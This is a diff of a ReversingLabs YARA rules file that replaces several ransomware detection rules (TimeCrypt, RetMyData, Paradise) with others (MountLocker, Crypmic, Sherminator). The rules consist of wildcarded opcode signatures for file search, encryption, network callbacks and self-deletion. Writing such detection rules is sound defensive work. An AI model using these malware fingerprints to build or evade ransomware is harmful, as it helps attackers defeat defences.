-            89 BD ?? ?? ?? ?? 8D 04 4E 50 E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 66 89 04 7E EB ?? 6A ??
-            68 ?? ?? ?? ?? C6 85 ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? FF B5 ?? ?? ?? ?? 6A ?? E8 ??
-            ?? ?? ?? 83 BD ?? ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 8D 45 ?? 0F 43 8D ?? ?? ?? ?? 83 7D
-            ?? ?? 51 0F 43 45 ?? 50 FF 15
+		$find_files = {
+            20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ?? 72 ?? ?? ?? ?? A2 25 20 ?? ?? ?? ??
+            72 ?? ?? ?? ?? A2 0A 1F ?? 8D ?? ?? ?? ?? 25 16 1F ?? 28 ?? ?? ?? ?? A2 25 17 1E 28 ??
+            ?? ?? ?? A2 25 18 1F ?? 28 ?? ?? ?? ?? A2 25 19 1F ?? 28 ?? ?? ?? ?? A2 25 1A 1F ?? 28
+            ?? ?? ?? ?? A2 25 1B 1B 28 ?? ?? ?? ?? A2 25 1C 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ??
+            ?? ?? 28 ?? ?? ?? ?? A2 25 1D 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? A2 25 1E 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 1F ?? 72
+            ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 0B 16 0C 2B ?? 07 08 9A 0D
+            1F ?? 28 ?? ?? ?? ?? 13 ?? 09 72 ?? ?? ?? ?? 17 28 ?? ?? ?? ?? 13 ?? 16 13 ?? 2B ?? 11
+            ?? 11 ?? 9A 28 ?? ?? ?? ?? 13 ?? 06 11 ?? 28 ?? ?? ?? ?? 2C ?? 02 11 ?? 11 ?? 9A 11 ??
+            28 ?? ?? ?? ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 32 ?? 00 02 09 28 ?? ?? ?? ?? DE ??
+            26 DE ?? 08 17 58 0C 08 07 8E 69 32 ?? 02 7B ?? ?? ?? ?? 6F ?? ?? ?? ?? 20 ?? ?? ?? ??
+            28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? 26 DE ?? 26 DE ?? 20 ?? ?? ?? ?? 28 ?? ?? ?? ?? 02 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 20
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 2A
         }
 
 	condition:
-		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
+		uint16(0)==0x5A4D and ($find_files) and ( all of ($encrypt_files_p*)) and ($dusk_delete_itself)
 }
-rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timecrypt : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Mountlocker : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects TimeCrypt ransomware."
+		description = "Yara rule that detects MountLocker ransomware."
 		author = "ReversingLabs"
-		id = "38a0c383-8be6-5258-aa93-0cf09b18e5f7"
-		date = "2021-12-06"
-		modified = "2021-12-06"
+		id = "8ce7e5c4-9eca-5dd2-ab92-39b915900d72"
+		date = "2021-03-25"
+		modified = "2021-03-25"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/ByteCode.MSIL.Ransomware.TimeCrypt.yara#L1-L69"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "6849d6d5010d7bcb4052c10d5bd7cc29320ffc986f36289b272a1e9a8d14fab9"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.MountLocker.yara#L1-L86"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "d203217c229d54802e96e19dc66d38ecb0443d19e0492efe337df471a99559dc"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32706,58 +34272,81 @@ rule REVERSINGLABS_Bytecode_MSIL_Ransomware_Timecrypt : TC_DETECTION MALICIOUS M
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "TimeCrypt"
+		tc_detection_name = "MountLocker"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            7E ?? ?? ?? ?? 0A 16 0B 38 ?? ?? ?? ?? 73 ?? ?? ?? ?? 0C 08 06 07 9A 7D ?? ?? ?? ?? 73
-            ?? ?? ?? ?? 0D 09 08 7D ?? ?? ?? ?? 09 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 7D ?? ?? ?? ?? 09
-            28 ?? ?? ?? ?? 7D ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 09 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 7B ?? ??
-            ?? ?? 72 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 28 ?? ?? ?? ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ??
-            72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 2C ?? 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 72 ?? ?? ?? ?? 28 ??
-            ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 09 7B ?? ?? ?? ?? 7B ?? ?? ?? ?? 72 ?? ?? ?? ?? 28
-            ?? ?? ?? ?? 2C ?? 1B 28 ?? ?? ?? ?? 73 ?? ?? ?? ?? 13 ?? 2B ?? 1F ?? 28 ?? ?? ?? ?? 73
-            ?? ?? ?? ?? 13 ?? 11 ?? 2D ?? 2A 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ??
-            ?? 28 ?? ?? ?? ?? 26 11 ?? 6F ?? ?? ?? ?? 09 FE 06 ?? ?? ?? ?? 73 ?? ?? ?? ?? 28 ?? ??
-            ?? ?? 26 07 17 58 0B 07 06 8E 69 3F ?? ?? ?? ?? 2A
+		$encrypt_files_p1 = {
+            55 8B EC 83 E4 ?? 83 EC ?? 53 56 57 8B 3D ?? ?? ?? ?? 8B DA 8B F1 FF D7 89 44 24 ??
+            33 C0 50 68 ?? ?? ?? ?? 6A ?? 50 50 68 ?? ?? ?? ?? 56 89 54 24 ?? 89 44 24 ?? FF 15
+            ?? ?? ?? ?? 89 44 24 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? 8D 4C 24 ?? 51 50 FF 15 ?? ?? ??
+            ?? 85 C0 0F 84 ?? ?? ?? ?? 6A ?? FF 74 24 ?? FF 74 24 ?? 6A ?? 6A ?? FF 74 24 ?? FF
+            15 ?? ?? ?? ?? 89 44 24 ?? 85 C0 0F 84 ?? ?? ?? ?? 33 C9 0F 31 89 44 8C ?? 41 83 F9
+            ?? 72 ?? FF 75 ?? 8B D3 8D 4C 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 59 85 C0 74 ?? 8D 4C
+            24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B 7C 24 ?? 8B 44 24 ?? 89 7C 24 ?? 89 44 24 ?? 8B
+            35 ?? ?? ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ??
+            8B C6 F0 0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? FF 74 24 ??
+            8B 35 ?? ?? ?? ?? FF D6 FF 74 24 ?? FF D6 8B 3D ?? ?? ?? ?? FF D7 8B F8 8B C2 2B 7C
+            24 ?? 89 7C 24 ?? 1B 44 24 ?? 89 44 24 ?? 75 ?? 85 FF 0F 84 ?? ?? ?? ?? 8B 35 ?? ??
+            ?? ?? 8B DE 8B 15 ?? ?? ?? ?? 03 DF 8B CA 89 54 24 ?? 13 C8 BF ?? ?? ?? ?? 8B C6 F0
+            0F C7 0F 8B 7C 24 ?? 3B C6 8B 44 24 ?? 75 ?? 3B 54 24 ?? 75 ?? 50 57 FF 74 24 ?? FF
+            74 24 ?? E8 ?? ?? ?? ?? 89 44 24 ?? 8B C2 81 E2 ?? ?? ?? ?? 25 ?? ?? ?? ?? 89 54 24
+            ?? DF 6C 24 ?? 83 64 24 ?? ?? 89 44 24 ?? DF 6C 24 ?? D9 E0 DE C1 D9 5C 24 ?? D9 44
+            24 ?? D9 05 ?? ?? ?? ?? D8 D9 DF E0 F6 C4 ?? 7A ?? D9 1D ?? ?? ?? ?? EB ?? DD D8 8B
+            44 24 ?? EB ?? 8B 44 24 ?? 85 C0 8B 35 ?? ?? ?? ?? 74 ?? 50 FF D6 FF 74 24 ?? FF D6
+            33 C0 5F 5E 5B 8B E5 5D C3
         }
-		$encrypt_files = {
-            02 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 2D ?? 73 ?? ?? ?? ?? 0A 06 03 6F ?? ?? ?? ?? 06 02 6F
-            ?? ?? ?? ?? 26 06 02 72 ?? ?? ?? ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? DE ?? 06 2C ?? 06 6F
-            ?? ?? ?? ?? DC 02 17 28 ?? ?? ?? ?? DE ?? 26 DE ?? 2A
+		$encrypt_files_p2 = {
+            55 8B EC 83 EC ?? 53 56 57 33 FF 6A ?? 8B F7 5B 0F 31 6A ?? 89 86 ?? ?? ?? ?? FF 15
+            ?? ?? ?? ?? 83 C6 ?? 3B F3 72 ?? 8B D3 B9 ?? ?? ?? ?? 8A 01 88 41 ?? 41 83 EA ?? 75
+            ?? 68 ?? ?? ?? ?? 6A ?? 68 ?? ?? ?? ?? 57 8D 45 ?? 89 5D ?? 50 89 7D ?? 89 7D ?? FF
+            15 ?? ?? ?? ?? 85 C0 0F 84 ?? ?? ?? ?? 8D 45 ?? 50 57 57 68 ?? ?? ?? ?? 68 ?? ?? ??
+            ?? FF 75 ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 74 ?? 68 ?? ?? ?? ?? 8D 45 ?? 50 68 ?? ??
+            ?? ?? 57 6A ?? 57 FF 75 ?? FF 15 ?? ?? ?? ?? FF 75 ?? 8B F0 FF 15 ?? ?? ?? ?? 57 FF
+            75 ?? FF 15 ?? ?? ?? ?? 85 F6 74 ?? E8 ?? ?? ?? ?? FF 35 ?? ?? ?? ?? 68 ?? ?? ?? ??
+            68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 83 C4 ?? E8 ?? ?? ?? ?? 33 C0 40
+            EB ?? FF 15 ?? ?? ?? ?? 50 68 ?? ?? ?? ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? 33 C0 5F 5E
+            5B 8B E5 5D C3
         }
-		$send_http_request = {
-            1C 8D ?? ?? ?? ?? 25 16 72 ?? ?? ?? ?? A2 25 17 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ??
-            ?? ?? ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19
-            03 A2 25 1A 72 ?? ?? ?? ?? A2 25 1B 04 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 0A 73 ?? ?? ??
-            ?? 25 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 06 6F ?? ?? ?? ?? 6F
-            ?? ?? ?? ?? 26 DE ?? 26 DE ?? 2A
+		$find_files_p1 = {
+            53 55 56 8B 74 24 ?? 8B EA 57 8B F9 6A ?? 83 26 ?? 58 66 89 44 6F ?? 8D 5F ?? 33 C0
+            66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50 A1 ?? ?? ?? ?? 53 89 44 24 ?? FF D0 33 C9 66 89
+            4C 6F ?? 83 F8 ?? 0F 85 ?? ?? ?? ?? 39 4F ?? 0F 84 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 83
+            F8 ?? 0F 85 ?? ?? ?? ?? 8D 46 ?? 50 6A ?? 8D 4E ?? 51 8D 56 ?? 52 8D 46 ?? 50 6A ??
+            6A ?? 8D 5F ?? 53 FF 15 ?? ?? ?? ?? F7 D8 1B C0 83 C0 ?? 89 06 74 ?? 8B CB E8 ?? ??
+            ?? ?? 85 C0 74 ?? 6A ?? 58 66 89 44 6F ?? 33 C0 66 89 44 6F ?? 8D 87 ?? ?? ?? ?? 50
+            53 FF 54 24 ?? 33 C9 66 89 4C 6F ?? 83 F8 ?? 75 ?? 39 0E 74 ?? 51 FF 76 ?? FF 76 ??
+            FF 76 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 3E ?? 74 ?? FF 76 ?? FF 15 ?? ?? ?? ??
+            83 26 ?? 83 C8 ?? 5F 5E 5D 5B C3
         }
-		$send_dns_request = {
-            1C 8D ?? ?? ?? ?? 25 16 04 28 ?? ?? ?? ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 03 A2 25 19
-            72 ?? ?? ?? ?? A2 25 1A 02 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 72 ?? ?? ?? ??
-            72 ?? ?? ?? ?? 6F ?? ?? ?? ?? A2 25 1B 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ??
-            26 DE ?? 26 DE ?? 2A
+		$find_files_p2 = {
+            55 8B EC 83 E4 ?? 83 EC ?? 53 55 56 8B F1 57 FF 46 ?? 8D 7E ?? 8B 07 8D 5E ?? 89 44
+            24 ?? 8B 46 ?? 53 89 07 FF 15 ?? ?? ?? ?? 8D 4C 24 ?? 89 44 24 ?? 51 8B D0 8B CE E8
+            ?? ?? ?? ?? 8B E8 59 83 FD ?? 75 ?? 33 C0 E9 ?? ?? ?? ?? 53 8D 86 ?? ?? ?? ?? 50 FF
+            15 ?? ?? ?? ?? 8D 9E ?? ?? ?? ?? F6 03 ?? 74 ?? 8B 54 24 ?? 8B CE E8 ?? ?? ?? ?? EB
+            ?? 8D 86 ?? ?? ?? ?? 50 8B 44 24 ?? 05 ?? ?? ?? ?? 8D 04 46 50 FF 15 ?? ?? ?? ?? FF
+            76 ?? 57 6A ?? FF 16 83 C4 ?? 85 C0 74 ?? 53 55 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 55 FF
+            15 ?? ?? ?? ?? 83 7E ?? ?? 8D 5E ?? 74 ?? 83 7C 24 ?? ?? 74 ?? 6A ?? FF 74 24 ?? FF
+            74 24 ?? FF 74 24 ?? 6A ?? 6A ?? 53 FF 15 ?? ?? ?? ?? 83 7C 24 ?? ?? 74 ?? FF 74 24
+            ?? FF 15 ?? ?? ?? ?? 8B 4C 24 ?? 33 C0 89 0F 40 5F 5E 5D 5B 8B E5 5D C3
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($find_files) and ($encrypt_files) and ($send_http_request) and ($send_dns_request)
+		uint16(0)==0x5A4D and ( all of ($find_files_p*)) and ( all of ($encrypt_files_p*))
 }
-rule REVERSINGLABS_Win32_Ransomware_Retmydata : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Crypmic : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects RetMyData ransomware."
+		description = "Yara rule that detects Crypmic ransomware."
 		author = "ReversingLabs"
-		id = "f7a091d9-7ace-5aad-95b4-d5101fa7fdea"
+		id = "0d5c2141-c0ca-53c8-91fd-ec2d5f163df2"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.RetMyData.yara#L1-L79"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "54ce38d75e9ab82a77b9c338f75e180e19ac745f149289c7478a4aa3b44d70fd"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Crypmic.yara#L1-L56"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "ee97c4d35cee68e080a4e9e0a21ecd3698da638463881a58f5daaf906ef86f75"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32765,72 +34354,56 @@ rule REVERSINGLABS_Win32_Ransomware_Retmydata : TC_DETECTION MALICIOUS MALWARE F
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
 		tc_detection_type = "Ransomware"
-		tc_detection_name = "RetMyData"
+		tc_detection_name = "Crypmic"
 		tc_detection_factor = 5
 		importance = 25
 
 	strings:
-		$find_files = {
-            55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 9D ?? ?? ?? ?? 8B 04 04
-            C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 89 44 24 ?? 89 C7 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ??
-            89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 40 51 51 0F 84 ?? ?? ?? ?? 8D
-            B5 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85
-            C0 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 85 C0 74 ?? F6 85 ?? ?? ??
-            ?? ?? 89 74 24 ?? 89 7C 24 ?? 74 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ??
-            89 D8 E8 ?? ?? ?? ?? EB ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C 24 E8 ?? ?? ?? ?? BA ?? ??
-            ?? ?? 89 D8 E8 ?? ?? ?? ?? 85 C0 75 ?? 89 D8 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 89 44
-            24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 85 C0 52 52 0F 85 ?? ?? ?? ?? 8B 85
-            ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F 5D C3 55 BA ?? ?? ?? ?? 89
-            E5 53 51 89 C3 E8 ?? ?? ?? ?? 48 74 ?? 5A 89 D8 5B 5D E9 ?? ?? ?? ?? 58 5B 5D C3
-        }
-		$enum_resources = {
-            55 89 E5 57 56 53 50 B8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 29 C4 8D 95 ?? ?? ?? ?? C7 85 ??
-            ?? ?? ?? ?? ?? ?? ?? 8B 04 04 C7 44 24 ?? ?? ?? ?? ?? 89 54 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 04 24 ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ??
-            83 EC ?? 85 C0 75 ?? 8D 85 ?? ?? ?? ?? 8D 9D ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 31 F6 89
-            44 24 ?? 8D 85 ?? ?? ?? ?? 89 5C 24 ?? 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ??
-            ?? ?? ?? 83 EC ?? 3B B5 ?? ?? ?? ?? 7D ?? 83 7B ?? ?? 75 ?? 8B 43 ?? C7 44 24 ?? ??
-            ?? ?? ?? 89 3C 24 89 44 24 ?? E8 ?? ?? ?? ?? 89 F8 E8 ?? ?? ?? ?? 89 D8 46 83 C3 ??
-            E8 ?? ?? ?? ?? EB ?? 8B 85 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? 50 8D 65 ?? 5B 5E 5F
-            5D C3
+		$search_and_encrypt_1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? 53 56 B8 ?? ?? ?? ?? 57 8B F9 89 7D ?? C7 45 ?? ?? ?? ??
+            ?? 89 45 ?? 8D 50 ?? 68 ?? ?? ?? ?? 6A ?? FF 77 ?? 66 89 85 ?? ?? ?? ?? 8B 47 ?? C7
+            85 ?? ?? ?? ?? ?? ?? ?? ?? C7 45 ?? ?? ?? ?? ?? FF D0 66 8B 95 ?? ?? ?? ?? 33 F6 33
+            C9 89 45 ?? 66 3B F2 74 ?? 0F B7 D2 41 66 89 14 06 8D 34 09 33 DB 0F B7 94 35 ?? ??
+            ?? ?? 66 3B DA 75 ?? BA ?? ?? ?? ?? 66 89 14 48 8D 1C 48 8D 8D ?? ?? ?? ?? 51 C7 43
+            ?? ?? ?? ?? ?? 50 8B 47 ?? FF D0 8B F0 83 FE ?? 0F 84 ?? ?? ?? ?? F6 85 ?? ?? ?? ??
+            ?? 74 ?? 66 8B 8D ?? ?? ?? ?? 66 83 F9 ?? 74 ?? 66 83 BD ?? ?? ?? ?? ?? 74 ?? 33 D2
+            33 C0 66 3B D1 74 ?? 0F B7 C9 8B FF 40 66 89 4C 1A ?? 8D 14 00 C7 45 ?? ?? ?? ?? ??
+            0F B7 8C 15 ?? ?? ?? ?? 66 39 4D ?? 75 ?? 8B 55 ?? 33 C9 66 89 4C 43 ?? 68 ?? ?? ??
+            ?? 8B CF E8 ?? ?? ?? ?? 83 C4 ?? 01 45 ?? 8D 85 ?? ?? ?? ?? 50 8B 47 ?? 56 FF D0 85
+            C0 75 ?? 8B 47 ?? 56 FF D0 8D 85 ?? ?? ?? ?? 50 FF 75 ?? C7 43 ?? ?? ?? ?? ?? 8B 47
         }
-		$encrypt_files = {
-            55 89 E5 57 56 53 89 C3 81 EC ?? ?? ?? ?? 83 3D ?? ?? ?? ?? ?? C7 85 ?? ?? ?? ?? ??
-            ?? ?? ?? C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? 85
-            C0 89 C2 A3 ?? ?? ?? ?? 75 ?? C7 04 24 ?? ?? ?? ?? E8 ?? ?? ?? ?? B9 ?? ?? ?? ?? 31
-            C0 89 D7 F3 AB 85 DB 75 ?? A1 ?? ?? ?? ?? 89 04 24 E8 ?? ?? ?? ?? C7 05 ?? ?? ?? ??
-            ?? ?? ?? ?? 8D BD ?? ?? ?? ?? 89 5C 24 ?? 8D 9D ?? ?? ?? ?? 8D B5 ?? ?? ?? ?? 89 3C
-            24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 1C
-            24 E8 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 5C 24 ?? C7 44 24 ?? ?? ?? ?? ?? 89 34
-            24 E8 ?? ?? ?? ?? 89 74 24 ?? 89 3C 24 E8 ?? ?? ?? ?? 85 C0 0F 85 ?? ?? ?? ?? C7 44
-            24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ??
-            ?? ?? C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 34 24 E8 ?? ?? ?? ?? 83 EC
-            ?? 83 F8 ?? 89 C3 C7 85 ?? ?? ?? ?? ?? ?? ?? ?? 75 ?? 89 7C 24 ?? 89 34 24 EB ?? 8D
-            BD ?? ?? ?? ?? A1 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 7C 24 ?? C7 44 24 ?? ?? ??
-            ?? ?? 89 1C 24 89 44 24 ?? E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 EC ?? 85 C0 75 ?? 89
-            1C 24 E8 ?? ?? ?? ?? 50 8D 85 ?? ?? ?? ?? 89 44 24 ?? 8D 85 ?? ?? ?? ?? 89 04 24 E8
-            ?? ?? ?? ?? EB ?? F7 D8 C7 44 24 ?? ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89 44 24 ??
-            89 1C 24 E8 ?? ?? ?? ?? 8B 35 ?? ?? ?? ?? 83 EC ?? BA ?? ?? ?? ?? C7 04 24 ?? ?? ??
-            ?? B8 ?? ?? ?? ?? 89 F1 E8 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? C7 44 24 ?? ?? ?? ?? ?? 89
-            74 24 ?? 89 1C 24 89 44 24 ?? 8B 85 ?? ?? ?? ?? 89 44 24 ?? E8 ?? ?? ?? ?? 83 EC ??
-            FF 8D ?? ?? ?? ?? 0F 85 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8D 65 ?? 5B 5E 5F 5D C3
+		$search_and_encrypt_2 = {
+            33 F6 89 75 ?? FF D0 89 45 ?? 83 F8 ?? 0F 84 ?? ?? ?? ?? EB ?? 8D 9B ?? ?? ?? ??
+            F6 85 ?? ?? ?? ?? ?? 75 ?? 66 8B BD ?? ?? ?? ?? 33 F6 8B 8E ?? ?? ?? ?? 8D 95 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 85 C0 74 ?? BA ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 66 83 FF ?? 75 ??
+            EB ?? 8D 9B ?? ?? ?? ?? 66 8B 48 ?? 83 C0 ?? 83 C2 ?? 66 3B 0A 74 ?? 66 83 38 ?? 0F
+            85 ?? ?? ?? ?? 66 83 3A ?? 0F 85 ?? ?? ?? ?? 83 C6 ?? 81 FE ?? ?? ?? ?? 72 ?? 8B 7D
+            ?? 8B 75 ?? 8B 45 ?? 8D 8D ?? ?? ?? ?? 51 50 8B 47 ?? FF D0 85 C0 8B 45 ?? 0F 85 ??
+            ?? ?? ?? 50 8B 47 ?? FF D0 85 F6 74 ?? 8B 55 ?? 33 C0 8B CF 66 89 43 ?? E8 ?? ?? ??
+            ?? FF 75 ?? 8B 47 ?? 6A ?? FF 77 ?? FF D0 8B 45 ?? 8B 5D ?? 03 C6 03 D8 8B 45 ?? 40
+            89 5D ?? 89 45 ?? BA ?? ?? ?? ?? 83 F8 ?? 0F 8E ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ??
+            ?? ?? ?? 50 8B 47 ?? 68 ?? ?? ?? ?? FF D0 68 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 8B CF E8
+            ?? ?? ?? ?? 83 C4 ?? 03 C3 5F 5E 5B 8B E5 5D C3 33 C9 33 C0 66 3B CF 74 ?? 0F B7 CF
+            33 D2 8D 9B ?? ?? ?? ?? 40 66 89 4C 1A ?? 8D 14 00 33 F6 0F B7 8C 15 ?? ?? ?? ?? 66
+            3B F1 75 ?? 8B 75 ?? FF 75 ?? 8B 7D ?? 33 C9 46 57 66 89 4C 43 ?? 89 75 ?? E8 ?? ??
+            ?? ?? E9
         }
 
 	condition:
-		uint16(0)==0x5A4D and ($enum_resources) and ($find_files) and ($encrypt_files)
+		uint16(0)==0x5A4D and (( all of ($search_and_encrypt_*)))
 }
-rule REVERSINGLABS_Win32_Ransomware_Paradise : TC_DETECTION MALICIOUS MALWARE FILE
+rule REVERSINGLABS_Win32_Ransomware_Sherminator : TC_DETECTION MALICIOUS MALWARE FILE
 {
 	meta:
-		description = "Yara rule that detects Paradise ransomware."
+		description = "Yara rule that detects Sherminator ransomware."
 		author = "ReversingLabs"
-		id = "9a92a05c-5f26-59ed-9934-a24bb7c31d8d"
+		id = "99792a22-8027-557f-927f-30eac4d1e690"
 		date = "2020-07-15"
 		modified = "2020-07-15"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/ransomware/Win32.Ransomware.Paradise.yara#L1-L81"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
-		logic_hash = "fc029bee999ec72416ac91d8386d4d270070035ad078bcab1dec11eea032c10b"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/ransomware/Win32.Ransomware.Sherminator.yara#L1-L157"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "22ac61b95f6ca4530e81a23fdd05be93e368647ca7100097a94eae3c6ce3b7d1"
 		score = 75
 		quality = 90
 		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
@@ -32838,82 +34411,145 @@ rule REVERSINGLABS_Win32_Ransomware_Paradise : TC_DETECTION MALICIOUS MALWARE FI
 		sharing = "TLP:WHITE"
 		category = "MALWARE"
